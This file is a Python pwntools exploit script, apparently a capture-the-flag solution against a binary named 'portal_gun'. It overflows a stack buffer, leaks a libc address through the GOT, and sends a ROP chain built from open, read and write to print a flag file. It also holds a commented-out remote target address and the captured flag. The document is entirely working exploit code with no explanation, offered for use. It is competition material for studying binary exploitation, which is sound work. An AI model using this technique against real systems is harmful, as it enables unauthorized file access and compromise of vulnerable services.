#!/usr/bin/env python                                                   
from pwn import *
context.arch = 'amd64'

r = process('./portal_gun')
#r = remote('60.250.197.227',10002)
elf = ELF('./portal_gun')
libc = ELF('./libc.so.6')

payload = 'a'*120
pop_rdi_ret = 0x00000000004007a3
main = 0x4006fb

r.recvuntil('go?\n')
r.sendline(payload + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main))
libc_base = u64(r.recv(6).ljust(8,'\x00')) - libc.symbols['puts']
print hex(libc_base)

r.recvuntil('go?\n')

open_addr = libc_base + libc.symbols['open']
read_addr = libc_base + libc.symbols['read']
write_addr = libc_base + libc.symbols['write']
pop_rsi_ret = libc_base + 0x0000000000023e6a
pop_rdx_ret = libc_base + 0x0000000000001b96
bss = 0x602000 - 0x300

rop = flat(
    pop_rdi_ret, 0, pop_rsi_ret, bss, pop_rdx_ret, 0x30, read_addr, 
    pop_rdi_ret, bss, pop_rsi_ret, 0, open_addr,
    pop_rdi_ret, 3, pop_rsi_ret, bss+0x100, pop_rdx_ret, 0x30, read_addr, 
    pop_rdi_ret, 1, pop_rsi_ret, bss+0x100, pop_rdx_ret, 0x30, write_addr
)

r.sendline(payload + rop)
r.sendline('/home/portal_gun/flag\x00')

# AIS3{U5E_Port@L_6uN_7o_GET_tHe_$h3L1_0_o}
r.interactive()
